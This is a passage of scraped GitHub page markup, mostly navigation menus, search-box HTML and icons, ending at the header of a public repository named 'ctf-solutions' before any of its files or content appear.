.53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z"></path><path d="M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z"></path></svg> <div> <div class="color-fg-default h4">Discussions</div> Collaborate outside of code </div> Explore All features Documentation <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> GitHub Skills <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Blog <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For Enterprise Teams Startups Education <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> By Solution CI/CD & Automation DevOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> DevSecOps <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> Case Studies Customer Stories Resources <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg> </div> <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> <div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div> <div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div> Repositories Topics Trending Collections </div> Pricing </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0"> <div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="252509468" data-scoped-search-url="/BigB00st/ctf-solutions/search" data-owner-scoped-search-url="/users/BigB00st/search" data-unscoped-search-url="/search" data-turbo="false" action="/BigB00st/ctf-solutions/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="G4srQPb2alJLqpJnA0JJ8BSf7bXBLX7vCpsqNhW+EA1mWwVwbZv7v0MIolz9pIra+hjPvH4im4AYGi1o3b+xQA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>โ†ต</span> </div> <div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>โ†ต</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div> Sign up </div> </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div id="js-flash-container" data-turbo-replace> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div> </div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" > <div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace> <div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;"> <div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> BigB00st </span> <span>/</span> ctf-solutions <span></span><span>Public</span> </div> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span> <div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div> </div> <div id="responsive-meta-container" data-turbo-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" 